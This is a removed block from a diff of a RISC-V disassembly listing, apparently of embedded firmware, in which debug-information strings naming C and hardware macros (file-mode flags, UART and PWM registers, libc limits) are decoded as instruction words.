-    65a4:	5355                	li	t1,-11
-    65a6:	495f 204f 3132      	0x3132204f495f
-    65ac:	5f00                	lw	s0,56(a4)
-    65ae:	5f535953          	0x5f535953
-    65b2:	45484353          	0x45484353
-    65b6:	5f44                	lw	s1,60(a4)
-    65b8:	5f48                	lw	a0,60(a4)
-    65ba:	0020                	addi	s0,sp,8
-    65bc:	5f5f 4953 455a      	0x455a49535f5f
-    65c2:	505f464f          	fnmadd.s	fa2,ft10,ft5,fa0,rmm
-    65c6:	544e494f          	0x544e494f
-    65ca:	5245                	li	tp,-15
-    65cc:	5f5f 3420 4100      	0x410034205f5f
-    65d2:	4c4c                	lw	a1,28(s0)
-    65d4:	4550                	lw	a2,12(a0)
-    65d6:	4d52                	lw	s10,20(sp)
-    65d8:	53282053          	0x53282053
-    65dc:	495f 5553 4449      	0x44495553495f
-    65e2:	7c20                	flw	fs0,120(s0)
-    65e4:	5320                	lw	s0,96(a4)
-    65e6:	495f 4753 4449      	0x44494753495f
-    65ec:	7c20                	flw	fs0,120(s0)
-    65ee:	5320                	lw	s0,96(a4)
-    65f0:	495f 5653 5854      	0x58545653495f
-    65f6:	7c20                	flw	fs0,120(s0)
-    65f8:	5320                	lw	s0,96(a4)
-    65fa:	495f 5752 5558      	0x55585752495f
-    6600:	7c20                	flw	fs0,120(s0)
-    6602:	5320                	lw	s0,96(a4)
-    6604:	495f 5752 4758      	0x47585752495f
-    660a:	7c20                	flw	fs0,120(s0)
-    660c:	5320                	lw	s0,96(a4)
-    660e:	495f 5752 4f58      	0x4f585752495f
-    6614:	0029                	c.nop	10
-    6616:	74727473          	csrrci	s0,0x747,4
-    661a:	5f006b6f          	jal	s6,cc0a <__stack_size+0xc40a>
-    661e:	705f 7275 2065      	0x20657275705f
-    6624:	5f5f 7461 7274      	0x727474615f5f
-    662a:	6269                	lui	tp,0x1a
-    662c:	7475                	lui	s0,0xffffd
-    662e:	5f65                	li	t5,-7
-    6630:	285f 5f28 705f      	0x705f5f28285f
-    6636:	7275                	lui	tp,0xffffd
-    6638:	5f65                	li	t5,-7
-    663a:	295f 0029 5f5f      	0x5f5f0029295f
-    6640:	4c46                	lw	s8,80(sp)
-    6642:	3154                	fld	fa3,160(a0)
-    6644:	3832                	fld	fa6,296(sp)
-    6646:	4e5f 524f 5f4d      	0x5f4d524f4e5f
-    664c:	414d                	li	sp,19
-    664e:	5f58                	lw	a4,60(a4)
-    6650:	205f 2e31 3831      	0x38312e31205f
-    6656:	3739                	jal	6564 <__stack_size+0x5d64>
-    6658:	39343133          	0x39343133
-    665c:	3335                	jal	6388 <__stack_size+0x5b88>
-    665e:	3735                	jal	658a <__stack_size+0x5d8a>
-    6660:	3332                	fld	ft6,296(sp)
-    6662:	3731                	jal	656e <__stack_size+0x5d6e>
-    6664:	3536                	fld	fa0,360(sp)
-    6666:	3830                	fld	fa2,112(s0)
-    6668:	3735                	jal	6594 <__stack_size+0x5d94>
-    666a:	3935                	jal	62a6 <__stack_size+0x5aa6>
-    666c:	36363233          	0x36363233
-    6670:	3832                	fld	fa6,296(sp)
-    6672:	3030                	fld	fa2,96(s0)
-    6674:	65323037          	lui	zero,0x65323
-    6678:	3339342b          	0x3339342b
-    667c:	4632                	lw	a2,12(sp)
-    667e:	3231                	jal	5f8a <__stack_size+0x578a>
-    6680:	0038                	addi	a4,sp,8
-    6682:	575f 4e41 5f54      	0x5f544e41575f
-    6688:	4f49                	li	t5,18
-    668a:	4c5f 4e4f 5f47      	0x5f474e4f4c5f
-    6690:	4f44                	lw	s1,28(a4)
-    6692:	4255                	li	tp,21
-    6694:	454c                	lw	a1,12(a0)
-    6696:	3120                	fld	fs0,96(a0)
-    6698:	4d00                	lw	s0,24(a0)
-    669a:	4f5a                	lw	t5,148(sp)
-    669c:	454e                	lw	a0,208(sp)
-    669e:	525f 5444 4d49      	0x4d495444525f
-    66a4:	2845                	jal	6754 <__stack_size+0x5f54>
-    66a6:	2029                	jal	66b0 <__stack_size+0x5eb0>
-    66a8:	7b28                	flw	fa0,112(a4)
-    66aa:	7220                	flw	fs0,96(a2)
-    66ac:	6765                	lui	a4,0x19
-    66ae:	7369                	lui	t1,0xffffa
-    66b0:	6574                	flw	fa3,76(a0)
-    66b2:	2072                	fld	ft0,280(sp)
-    66b4:	6975                	lui	s2,0x1d
-    66b6:	746e                	flw	fs0,248(sp)
-    66b8:	745f3233          	0x745f3233
-    66bc:	6120                	flw	fs0,64(a0)
-    66be:	2030                	fld	fa2,64(s0)
-    66c0:	7361                	lui	t1,0xffff8
-    66c2:	206d                	jal	676c <__stack_size+0x5f6c>
-    66c4:	2228                	fld	fa0,64(a2)
-    66c6:	3061                	jal	5f4e <__stack_size+0x574e>
-    66c8:	2922                	fld	fs2,8(sp)
-    66ca:	202c                	fld	fa1,64(s0)
-    66cc:	3161                	jal	6354 <__stack_size+0x5b54>
-    66ce:	6120                	flw	fs0,64(a0)
-    66d0:	28206d73          	csrrsi	s10,0x282,0
-    66d4:	6122                	flw	ft2,8(sp)
-    66d6:	2231                	jal	67e2 <__stack_size+0x5fe2>
-    66d8:	3b29                	jal	63f2 <__stack_size+0x5bf2>
-    66da:	6120                	flw	fs0,64(a0)
-    66dc:	76206d73          	csrrsi	s10,0x762,0
-    66e0:	74616c6f          	jal	s8,1ce26 <__stack_size+0x1c626>
-    66e4:	6c69                	lui	s8,0x1a
-    66e6:	2065                	jal	678e <__stack_size+0x5f8e>
-    66e8:	2228                	fld	fa0,64(a2)
-    66ea:	696c                	flw	fa1,84(a0)
-    66ec:	6120                	flw	fs0,64(a0)
-    66ee:	2c30                	fld	fa2,88(s0)
-    66f0:	3420                	fld	fs0,104(s0)
-    66f2:	6d20223b          	0x6d20223b
-    66f6:	6f7a                	flw	ft10,156(sp)
-    66f8:	656e                	flw	fa0,216(sp)
-    66fa:	3a20                	fld	fs0,112(a2)
-    66fc:	2220                	fld	fs0,64(a2)
-    66fe:	723d                	lui	tp,0xfffef
-    6700:	2822                	fld	fa6,8(sp)
-    6702:	3061                	jal	5f8a <__stack_size+0x578a>
-    6704:	2c29                	jal	691e <__stack_size+0x611e>
-    6706:	2220                	fld	fs0,64(a2)
-    6708:	723d                	lui	tp,0xfffef
-    670a:	2822                	fld	fa6,8(sp)
-    670c:	3161                	jal	6394 <__stack_size+0x5b94>
-    670e:	2929                	jal	6b28 <__stack_size+0x6328>
-    6710:	7528203b          	0x7528203b
-    6714:	6e69                	lui	t3,0x1a
-    6716:	3674                	fld	fa3,232(a2)
-    6718:	5f34                	lw	a3,120(a4)
-    671a:	2974                	fld	fa3,208(a0)
-    671c:	3161                	jal	63a4 <__stack_size+0x5ba4>
-    671e:	3c3c                	fld	fa5,120(s0)
-    6720:	7c203233          	0x7c203233
-    6724:	6120                	flw	fs0,64(a0)
-    6726:	3b30                	fld	fa2,112(a4)
-    6728:	7d20                	flw	fs0,120(a0)
-    672a:	0029                	c.nop	10
-    672c:	4955                	li	s2,21
-    672e:	544e                	lw	s0,240(sp)
-    6730:	4c5f 4145 5453      	0x545341454c5f
-    6736:	3436                	fld	fs0,360(sp)
-    6738:	4d5f 5841 5f20      	0x5f2058414d5f
-    673e:	555f 4e49 5f54      	0x5f544e49555f
-    6744:	454c                	lw	a1,12(a0)
-    6746:	5341                	li	t1,-16
-    6748:	3654                	fld	fa3,168(a2)
-    674a:	5f34                	lw	a3,120(a4)
-    674c:	414d                	li	sp,19
-    674e:	5f58                	lw	a4,60(a4)
-    6750:	005f 4d5f 444f      	0x444f4d5f005f
-    6756:	5f45                	li	t5,-15
-    6758:	5f54                	lw	a3,60(a4)
-    675a:	4544                	lw	s1,12(a0)
-    675c:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
-    6760:	4445                	li	s0,17
-    6762:	0020                	addi	s0,sp,8
-    6764:	545f 535f 5a49      	0x5a49535f545f
-    676a:	2045                	jal	680a <__stack_size+0x600a>
-    676c:	4600                	lw	s0,8(a2)
-    676e:	424e                	lw	tp,208(sp)
-    6770:	4f49                	li	t5,18
-    6772:	5f20                	lw	s0,120(a4)
-    6774:	4e46                	lw	t3,80(sp)
-    6776:	4942                	lw	s2,16(sp)
-    6778:	7a74004f          	fnmadd.d	ft0,fs0,ft7,fa5,rne
-    677c:	616e                	flw	ft2,216(sp)
-    677e:	656d                	lui	a0,0x1b
-    6780:	5f20                	lw	s0,120(a4)
-    6782:	7a74                	flw	fa3,116(a2)
-    6784:	616e                	flw	ft2,216(sp)
-    6786:	656d                	lui	a0,0x1b
-    6788:	5f00                	lw	s0,56(a4)
-    678a:	495f 544e 5450      	0x5450544e495f
-    6790:	5f52                	lw	t5,52(sp)
-    6792:	54444957          	0x54444957
-    6796:	5f48                	lw	a0,60(a4)
-    6798:	205f 3233 5f00      	0x5f003233205f
-    679e:	535f4353          	0x535f4353
-    67a2:	4d45                	li	s10,17
-    67a4:	5041                	c.li	zero,-16
-    67a6:	4f48                	lw	a0,28(a4)
-    67a8:	4552                	lw	a0,20(sp)
-    67aa:	30332053          	0x30332053
-    67ae:	5f00                	lw	s0,56(a4)
-    67b0:	585f4353          	0x585f4353
-    67b4:	4e45504f          	fnmadd.q	ft0,fa0,ft4,fs1,unknown
-    67b8:	535f 5254 4145      	0x41455254535f
-    67be:	534d                	li	t1,-13
-    67c0:	3120                	fld	fs0,96(a0)
-    67c2:	3430                	fld	fa2,104(s0)
-    67c4:	5f00                	lw	s0,56(a4)
-    67c6:	4552                	lw	a0,20(sp)
-    67c8:	4e45                	li	t3,17
-    67ca:	5f54                	lw	a3,60(a4)
-    67cc:	54525453          	0x54525453
-    67d0:	4c5f4b4f          	0x4c5f4b4f
-    67d4:	5341                	li	t1,-16
-    67d6:	2854                	fld	fa3,144(s0)
-    67d8:	7470                	flw	fa2,108(s0)
-    67da:	2972                	fld	fs2,280(sp)
-    67dc:	2820                	fld	fs0,80(s0)
-    67de:	7028                	flw	fa0,96(s0)
-    67e0:	7274                	flw	fa3,100(a2)
-    67e2:	2d29                	jal	6dfc <__stack_size+0x65fc>
-    67e4:	5f3e                	lw	t5,236(sp)
-    67e6:	656e                	flw	fa0,216(sp)
-    67e8:	725f2e77          	0x725f2e77
-    67ec:	6565                	lui	a0,0x19
-    67ee:	746e                	flw	fs0,248(sp)
-    67f0:	5f2e                	lw	t5,232(sp)
-    67f2:	74727473          	csrrci	s0,0x747,4
-    67f6:	6c5f6b6f          	jal	s6,fd6ba <__stack_size+0xfceba>
-    67fa:	7361                	lui	t1,0xffff8
-    67fc:	2974                	fld	fa3,208(a0)
-    67fe:	5f00                	lw	s0,56(a4)
-    6800:	5f5f 6e69 5f74      	0x5f746e695f5f
-    6806:	656c                	flw	fa1,76(a0)
-    6808:	7361                	lui	t1,0xffff8
-    680a:	3874                	fld	fa3,240(s0)
-    680c:	745f 645f 6665      	0x6665645f745f
-    6812:	6e69                	lui	t3,0x1a
-    6814:	6465                	lui	s0,0x19
-    6816:	3120                	fld	fs0,96(a0)
-    6818:	4900                	lw	s0,16(a0)
-    681a:	544e                	lw	s0,240(sp)
-    681c:	5450                	lw	a2,44(s0)
-    681e:	5f52                	lw	t5,52(sp)
-    6820:	494d                	li	s2,19
-    6822:	004e                	c.slli	zero,0x13
-    6824:	5f5f 6c63 636f      	0x636f6c635f5f
-    682a:	5f745f6b          	0x5f745f6b
-    682e:	6564                	flw	fs1,76(a0)
-    6830:	6966                	flw	fs2,88(sp)
-    6832:	656e                	flw	fa0,216(sp)
-    6834:	2064                	fld	fs1,192(s0)
-    6836:	5f00                	lw	s0,56(a4)
-    6838:	465f 544c 3436      	0x3436544c465f
-    683e:	4d5f 4e41 5f54      	0x5f544e414d5f
-    6844:	4944                	lw	s1,20(a0)
-    6846:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
-    684a:	3335                	jal	6576 <__stack_size+0x5d76>
-    684c:	5f00                	lw	s0,56(a4)
-    684e:	725f 7365 6c75      	0x6c757365725f
-    6854:	5f74                	lw	a3,124(a4)
-    6856:	7375                	lui	t1,0xffffd
-    6858:	5f65                	li	t5,-7
-    685a:	63656863          	bltu	a0,s6,6e8a <__stack_size+0x668a>
-    685e:	5f5f206b          	0x5f5f206b
-    6862:	7461                	lui	s0,0xffff8
-    6864:	7274                	flw	fa3,100(a2)
-    6866:	6269                	lui	tp,0x1a
-    6868:	7475                	lui	s0,0xffffd
-    686a:	5f65                	li	t5,-7
-    686c:	285f 5f28 775f      	0x775f5f28285f
-    6872:	7261                	lui	tp,0xffff8
-    6874:	5f6e                	lw	t5,248(sp)
-    6876:	6e75                	lui	t3,0x1d
-    6878:	7375                	lui	t1,0xffffd
-    687a:	6465                	lui	s0,0x19
-    687c:	725f 7365 6c75      	0x6c757365725f
-    6882:	5f74                	lw	a3,124(a4)
-    6884:	295f 0029 5f5f      	0x5f5f0029295f
-    688a:	41484357          	0x41484357
-    688e:	5f52                	lw	t5,52(sp)
-    6890:	414d                	li	sp,19
-    6892:	5f58                	lw	a4,60(a4)
-    6894:	205f 7830 6637      	0x66377830205f
-    689a:	6666                	flw	fa2,88(sp)
-    689c:	6666                	flw	fa2,88(sp)
-    689e:	6666                	flw	fa2,88(sp)
-    68a0:	5f00                	lw	s0,56(a4)
-    68a2:	475f 554e 5f43      	0x5f43554e475f
-    68a8:	5250                	lw	a2,36(a2)
-    68aa:	5245                	li	tp,-15
-    68ac:	5145                	li	sp,-15
-    68ae:	6d28                	flw	fa0,88(a0)
-    68b0:	6a61                	lui	s4,0x18
-    68b2:	6d2c                	flw	fa1,88(a0)
-    68b4:	6e69                	lui	t3,0x1a
-    68b6:	2029                	jal	68c0 <__stack_size+0x60c0>
-    68b8:	2828                	fld	fa0,80(s0)
-    68ba:	5f5f 4e47 4355      	0x43554e475f5f
-    68c0:	5f5f 3c20 203c      	0x203c3c205f5f
-    68c6:	3631                	jal	63d2 <__stack_size+0x5bd2>
-    68c8:	2029                	jal	68d2 <__stack_size+0x60d2>
-    68ca:	5f5f202b          	0x5f5f202b
-    68ce:	43554e47          	fmsub.d	ft8,fa0,fs5,fs0,rmm
-    68d2:	4d5f 4e49 524f      	0x524f4e494d5f
-    68d8:	5f5f 3e20 203d      	0x203d3e205f5f
-    68de:	2828                	fld	fa0,80(s0)
-    68e0:	616d                	addi	sp,sp,240
-    68e2:	296a                	fld	fs2,152(sp)
-    68e4:	3c20                	fld	fs0,120(s0)
-    68e6:	203c                	fld	fa5,64(s0)
-    68e8:	3631                	jal	63f4 <__stack_size+0x5bf4>
-    68ea:	2029                	jal	68f4 <__stack_size+0x60f4>
-    68ec:	6d28202b          	0x6d28202b
-    68f0:	6e69                	lui	t3,0x1a
-    68f2:	2929                	jal	6d0c <__stack_size+0x650c>
-    68f4:	5300                	lw	s0,32(a4)
-    68f6:	495f 5557 5253      	0x52535557495f
-    68fc:	3020                	fld	fs0,96(s0)
-    68fe:	3030                	fld	fa2,96(s0)
-    6900:	3230                	fld	fa2,96(a2)
-    6902:	3030                	fld	fa2,96(s0)
-    6904:	5f00                	lw	s0,56(a4)
-    6906:	465f 544c 3436      	0x3436544c465f
-    690c:	485f 5341 495f      	0x495f5341485f
-    6912:	464e                	lw	a2,208(sp)
-    6914:	4e49                	li	t3,18
-    6916:	5449                	li	s0,-14
-    6918:	5f59                	li	t5,-10
-    691a:	205f 0031 6d70      	0x6d700031205f
-    6920:	6370                	flw	fa2,68(a4)
-    6922:	6766                	flw	fa4,88(sp)
-    6924:	0030                	addi	a2,sp,8
-    6926:	6d70                	flw	fa2,92(a0)
-    6928:	6370                	flw	fa2,68(a4)
-    692a:	6766                	flw	fa4,88(sp)
-    692c:	0031                	c.nop	12
-    692e:	5f5f 4f4c 474e      	0x474e4f4c5f5f
-    6934:	4c5f 4e4f 5f47      	0x5f474e4f4c5f
-    693a:	414d                	li	sp,19
-    693c:	5f58                	lw	a4,60(a4)
-    693e:	205f 7830 6637      	0x66377830205f
-    6944:	6666                	flw	fa2,88(sp)
-    6946:	6666                	flw	fa2,88(sp)
-    6948:	6666                	flw	fa2,88(sp)
-    694a:	6666                	flw	fa2,88(sp)
-    694c:	6666                	flw	fa2,88(sp)
-    694e:	6666                	flw	fa2,88(sp)
-    6950:	6666                	flw	fa2,88(sp)
-    6952:	4c4c                	lw	a1,28(s0)
-    6954:	5f00                	lw	s0,56(a4)
-    6956:	465f 544c 3436      	0x3436544c465f
-    695c:	5f58                	lw	a4,60(a4)
-    695e:	414d                	li	sp,19
-    6960:	5f58                	lw	a4,60(a4)
-    6962:	5845                	li	a6,-15
-    6964:	5f50                	lw	a2,60(a4)
-    6966:	205f 3631 3833      	0x38333631205f
-    696c:	0034                	addi	a3,sp,8
-    696e:	545f 575f 4843      	0x4843575f545f
-    6974:	5241                	li	tp,-16
-    6976:	205f 5300 495f      	0x495f5300205f
-    697c:	48544f57          	0x48544f57
-    6980:	3020                	fld	fs0,96(s0)
-    6982:	3030                	fld	fa2,96(s0)
-    6984:	3030                	fld	fa2,96(s0)
-    6986:	3230                	fld	fa2,96(a2)
-    6988:	5f00                	lw	s0,56(a4)
-    698a:	4148                	lw	a0,4(a0)
-    698c:	4556                	lw	a0,84(sp)
-    698e:	435f 5f43 4e49      	0x4e495f43435f
-    6994:	4948                	lw	a0,20(a0)
-    6996:	4942                	lw	s2,16(sp)
-    6998:	5f54                	lw	a3,60(a4)
-    699a:	4f4c                	lw	a1,28(a4)
-    699c:	545f504f          	0x545f504f
-    69a0:	494c5f4f          	fnmadd.s	ft10,fs8,fs4,fs1,unknown
-    69a4:	4342                	lw	t1,16(sp)
-    69a6:	4c41                	li	s8,16
-    69a8:	204c                	fld	fa1,128(s0)
-    69aa:	0031                	c.nop	12
-    69ac:	5f5f 4f43 434e      	0x434e4f435f5f
-    69b2:	5441                	li	s0,-16
-    69b4:	2831                	jal	69d0 <__stack_size+0x61d0>
-    69b6:	2c78                	fld	fa4,216(s0)
-    69b8:	2979                	jal	6e56 <__stack_size+0x6656>
-    69ba:	7820                	flw	fs0,112(s0)
-    69bc:	2320                	fld	fs0,64(a4)
-    69be:	00792023          	sw	t2,0(s2) # 1d000 <__stack_size+0x1c800>
-    69c2:	4c55                	li	s8,21
-    69c4:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
-    69c8:	4f4c                	lw	a1,28(a4)
-    69ca:	474e                	lw	a4,208(sp)
-    69cc:	4d5f 5841 2820      	0x282058414d5f
-    69d2:	4f4c                	lw	a1,28(a4)
-    69d4:	474e                	lw	a4,208(sp)
-    69d6:	4c5f 4e4f 5f47      	0x5f474e4f4c5f
-    69dc:	414d                	li	sp,19
-    69de:	2058                	fld	fa4,128(s0)
-    69e0:	202a                	fld	ft0,136(sp)
-    69e2:	5532                	lw	a0,44(sp)
-    69e4:	4c4c                	lw	a1,28(s0)
-    69e6:	2b20                	fld	fs0,80(a4)
-    69e8:	3120                	fld	fs0,96(a0)
-    69ea:	4c55                	li	s8,21
-    69ec:	294c                	fld	fa1,144(a0)
-    69ee:	5f00                	lw	s0,56(a4)
-    69f0:	525f 5343 4449      	0x44495343525f
-    69f6:	535f 554f 4352      	0x4352554f535f
-    69fc:	2845                	jal	6aac <__stack_size+0x62ac>
-    69fe:	73202973          	csrr	s2,0x732
-    6a02:	7274                	flw	fa3,100(a2)
-    6a04:	6375                	lui	t1,0x1d
-    6a06:	2074                	fld	fa3,192(s0)
-    6a08:	5f5f 6168 6b63      	0x6b6361685f5f
-    6a0e:	4600                	lw	s0,8(a2)
-    6a10:	555f 4c4e 4b43      	0x4b434c4e555f
-    6a16:	3320                	fld	fs0,96(a4)
-    6a18:	4900                	lw	s0,16(a0)
-    6a1a:	544e                	lw	s0,240(sp)
-    6a1c:	3436                	fld	fs0,360(sp)
-    6a1e:	435f 6328 2029      	0x20296328435f
-    6a24:	5f5f 4e49 3654      	0x36544e495f5f
-    6a2a:	5f34                	lw	a3,120(a4)
-    6a2c:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
-    6a30:	5f00                	lw	s0,56(a4)
-    6a32:	475f 4343 415f      	0x415f4343475f
-    6a38:	4f54                	lw	a3,28(a4)
-    6a3a:	494d                	li	s2,19
-    6a3c:	4c4c5f43          	0x4c4c5f43
-    6a40:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
-    6a44:	4f4c                	lw	a1,28(a4)
-    6a46:	465f4b43          	fmadd.q	fs6,ft10,ft5,fs0,rmm
-    6a4a:	4552                	lw	a0,20(sp)
-    6a4c:	2045                	jal	6aec <__stack_size+0x62ec>
-    6a4e:	0031                	c.nop	12
-    6a50:	535f 5359 435f      	0x435f5359535f
-    6a56:	4544                	lw	s1,12(a0)
-    6a58:	5346                	lw	t1,112(sp)
-    6a5a:	485f 205f 4d00      	0x4d00205f485f
-    6a60:	4f5a                	lw	t5,148(sp)
-    6a62:	454e                	lw	a0,208(sp)
-    6a64:	435f 5253 2852      	0x28525253435f
-    6a6a:	5f525343          	fmadd.q	ft6,ft4,fs5,fa1,unknown
-    6a6e:	5858                	lw	a4,52(s0)
-    6a70:	2958                	fld	fa4,144(a0)
-    6a72:	2820                	fld	fs0,80(s0)
-    6a74:	6572207b          	0x6572207b
-    6a78:	74736967          	0x74736967
-    6a7c:	7265                	lui	tp,0xffff9
-    6a7e:	7520                	flw	fs0,104(a0)
-    6a80:	736e                	flw	ft6,248(sp)
-    6a82:	6769                	lui	a4,0x1a
-    6a84:	656e                	flw	fa0,216(sp)
-    6a86:	2064                	fld	fs1,192(s0)
-    6a88:	6f6c                	flw	fa1,92(a4)
-    6a8a:	676e                	flw	fa4,216(sp)
-    6a8c:	6120                	flw	fs0,64(a0)
-    6a8e:	2030                	fld	fa2,64(s0)
-    6a90:	7361                	lui	t1,0xffff8
-    6a92:	206d                	jal	6b3c <__stack_size+0x633c>
-    6a94:	2228                	fld	fa0,64(a2)
-    6a96:	3061                	jal	631e <__stack_size+0x5b1e>
-    6a98:	2922                	fld	fs2,8(sp)
-    6a9a:	7361203b          	0x7361203b
-    6a9e:	206d                	jal	6b48 <__stack_size+0x6348>
-    6aa0:	6f76                	flw	ft10,92(sp)
-    6aa2:	616c                	flw	fa1,68(a0)
-    6aa4:	6974                	flw	fa3,84(a0)
-    6aa6:	656c                	flw	fa1,76(a0)
-    6aa8:	2820                	fld	fs0,80(s0)
-    6aaa:	2220                	fld	fs0,64(a2)
-    6aac:	766d                	lui	a2,0xffffb
-    6aae:	6120                	flw	fs0,64(a0)
-    6ab0:	2c31                	jal	6ccc <__stack_size+0x64cc>
-    6ab2:	2520                	fld	fs0,72(a0)
-    6ab4:	3b31                	jal	67d0 <__stack_size+0x5fd0>
-    6ab6:	2022                	fld	ft0,8(sp)
-    6ab8:	6c22                	flw	fs8,8(sp)
-    6aba:	2069                	jal	6b44 <__stack_size+0x6344>
-    6abc:	3061                	jal	6344 <__stack_size+0x5b44>
-    6abe:	202c                	fld	fa1,64(s0)
-    6ac0:	3b38                	fld	fa4,112(a4)
-    6ac2:	2022                	fld	ft0,8(sp)
-    6ac4:	7a6d                	lui	s4,0xffffb
-    6ac6:	20656e6f          	jal	t3,5cccc <__stack_size+0x5c4cc>
-    6aca:	203a                	fld	ft0,392(sp)
-    6acc:	3d22                	fld	fs10,40(sp)
-    6ace:	2272                	fld	ft4,280(sp)
-    6ad0:	6128                	flw	fa0,64(a0)
-    6ad2:	2930                	fld	fa2,80(a0)
-    6ad4:	3a20                	fld	fs0,112(a2)
-    6ad6:	2220                	fld	fs0,64(a2)
-    6ad8:	2272                	fld	ft4,280(sp)
-    6ada:	2828                	fld	fa0,80(s0)
-    6adc:	6e75                	lui	t3,0x1d
-    6ade:	6e676973          	csrrsi	s2,0x6e6,14
-    6ae2:	6465                	lui	s0,0x19
-    6ae4:	6c20                	flw	fs0,88(s0)
-    6ae6:	29676e6f          	jal	t3,7cd7c <__stack_size+0x7c57c>
-    6aea:	5f525343          	fmadd.q	ft6,ft4,fs5,fa1,unknown
-    6aee:	5858                	lw	a4,52(s0)
-    6af0:	2958                	fld	fa4,144(a0)
-    6af2:	3a20                	fld	fs0,112(a2)
-    6af4:	2220                	fld	fs0,64(a2)
-    6af6:	3161                	jal	677e <__stack_size+0x5f7e>
-    6af8:	2922                	fld	fs2,8(sp)
-    6afa:	3061203b          	0x3061203b
-    6afe:	297d203b          	0x297d203b
-    6b02:	5f00                	lw	s0,56(a4)
-    6b04:	465f 544c 4d5f      	0x4d5f544c465f
-    6b0a:	5841                	li	a6,-16
-    6b0c:	5f5f 3320 342e      	0x342e33205f5f
-    6b12:	3230                	fld	fa2,96(a2)
-    6b14:	3238                	fld	fa4,96(a2)
-    6b16:	36363433          	0x36363433
-    6b1a:	32353833          	0x32353833
-    6b1e:	3838                	fld	fa4,112(s0)
-    6b20:	3935                	jal	675c <__stack_size+0x5f5c>
-    6b22:	3138                	fld	fa4,96(a0)
-    6b24:	3731                	jal	6a30 <__stack_size+0x6230>
-    6b26:	3430                	fld	fa2,104(s0)
-    6b28:	3831                	jal	6344 <__stack_size+0x5b44>
-    6b2a:	34383433          	0x34383433
-    6b2e:	3135                	jal	675a <__stack_size+0x5f5a>
-    6b30:	3936                	fld	fs2,360(sp)
-    6b32:	3532                	fld	fa0,296(sp)
-    6b34:	2b65                	jal	70ec <__stack_size+0x68ec>
-    6b36:	00463833          	sltu	a6,a2,tp
-    6b3a:	5f5f 4f4c 474e      	0x474e4f4c5f5f
-    6b40:	4c5f 4e4f 5f47      	0x5f474e4f4c5f
-    6b46:	54444957          	0x54444957
-    6b4a:	5f48                	lw	a0,60(a4)
-    6b4c:	205f 3436 4900      	0x49003436205f
-    6b52:	544e                	lw	s0,240(sp)
-    6b54:	4c5f 4145 5453      	0x545341454c5f
-    6b5a:	3436                	fld	fs0,360(sp)
-    6b5c:	4d5f 4e49 5f00      	0x5f004e494d5f
-    6b62:	4d5f 4341 4948      	0x494843414d5f
-    6b68:	454e                	lw	a0,208(sp)
-    6b6a:	455f 444e 4149      	0x4149444e455f
-    6b70:	5f4e                	lw	t5,240(sp)
-    6b72:	5f48                	lw	a0,60(a4)
-    6b74:	205f 5f00 6c5f      	0x6c5f5f00205f
-    6b7a:	5f6b636f          	jal	t1,bd170 <__stack_size+0xbc970>
-    6b7e:	6e69                	lui	t3,0x1a
-    6b80:	7469                	lui	s0,0xffffa
-    6b82:	6c28                	flw	fa0,88(s0)
-    6b84:	296b636f          	jal	t1,bce1a <__stack_size+0xbc61a>
-    6b88:	2820                	fld	fs0,80(s0)
-    6b8a:	7628                	flw	fa0,104(a2)
-    6b8c:	2964696f          	jal	s2,4ce22 <__stack_size+0x4c622>
-    6b90:	3020                	fld	fs0,96(s0)
-    6b92:	0029                	c.nop	10
-    6b94:	535f 5f43 3656      	0x36565f43535f
-    6b9a:	4c5f 3650 5f34      	0x5f3436504c5f
-    6ba0:	3646464f          	fnmadd.q	fa2,fa2,ft4,ft6,rmm
-    6ba4:	2034                	fld	fa3,64(s0)
-    6ba6:	535f 5f43 3756      	0x37565f43535f
-    6bac:	4c5f 3650 5f34      	0x5f3436504c5f
-    6bb2:	3646464f          	fnmadd.q	fa2,fa2,ft4,ft6,rmm
-    6bb6:	0034                	addi	a3,sp,8
-    6bb8:	465f 414d 4b52      	0x4b52414d465f
-    6bbe:	3020                	fld	fs0,96(s0)
-    6bc0:	3078                	fld	fa4,224(s0)
-    6bc2:	3130                	fld	fa2,96(a0)
-    6bc4:	0030                	addi	a2,sp,8
-    6bc6:	5f5f 454e 4c57      	0x4c57454e5f5f
-    6bcc:	4249                	li	tp,18
-    6bce:	485f 5f5f 3120      	0x31205f5f485f
-    6bd4:	5500                	lw	s0,40(a0)
-    6bd6:	5241                	li	tp,-16
-    6bd8:	5f54                	lw	a3,60(a4)
-    6bda:	4549                	li	a0,18
-    6bdc:	3020                	fld	fs0,96(s0)
-    6bde:	3178                	fld	fa4,224(a0)
-    6be0:	0030                	addi	a2,sp,8
-    6be2:	505f 5f43 5341      	0x53415f43505f
-    6be8:	4e59                	li	t3,22
-    6bea:	4f495f43          	fmadd.q	ft10,fs2,fs4,fs1,unknown
-    6bee:	3920                	fld	fs0,112(a0)
-    6bf0:	5f00                	lw	s0,56(a4)
-    6bf2:	545f4353          	0x545f4353
-    6bf6:	5248                	lw	a0,36(a2)
-    6bf8:	4145                	li	sp,17
-    6bfa:	5f44                	lw	s1,60(a4)
-    6bfc:	5250                	lw	a2,36(a2)
-    6bfe:	4f49                	li	t5,18
-    6c00:	495f 484e 5245      	0x5245484e495f
-    6c06:	5449                	li	s0,-14
-    6c08:	3420                	fld	fs0,104(s0)
-    6c0a:	0036                	c.slli	zero,0xd
-    6c0c:	4152                	lw	sp,20(sp)
-    6c0e:	444e                	lw	s0,208(sp)
-    6c10:	4d5f 5841 5f20      	0x5f2058414d5f
-    6c16:	525f 4e41 5f44      	0x5f444e41525f
-    6c1c:	414d                	li	sp,19
-    6c1e:	0058                	addi	a4,sp,4
-    6c20:	545f 4d49 5f45      	0x5f454d49545f
-    6c26:	5f48                	lw	a0,60(a4)
-    6c28:	0020                	addi	s0,sp,8
-    6c2a:	5750                	lw	a2,44(a4)
-    6c2c:	5f4d                	li	t5,-13
-    6c2e:	4142                	lw	sp,16(sp)
-    6c30:	30204553          	0x30204553
-    6c34:	3178                	fld	fa4,224(a0)
-    6c36:	3030                	fld	fa2,96(s0)
-    6c38:	3532                	fld	fa0,296(sp)
-    6c3a:	3030                	fld	fa2,96(s0)
-    6c3c:	0030                	addi	a2,sp,8
-    6c3e:	5f5f 4f53 5450      	0x54504f535f5f
-    6c44:	3020                	fld	fs0,96(s0)
-    6c46:	3078                	fld	fa4,224(s0)
-    6c48:	3034                	fld	fa3,96(s0)
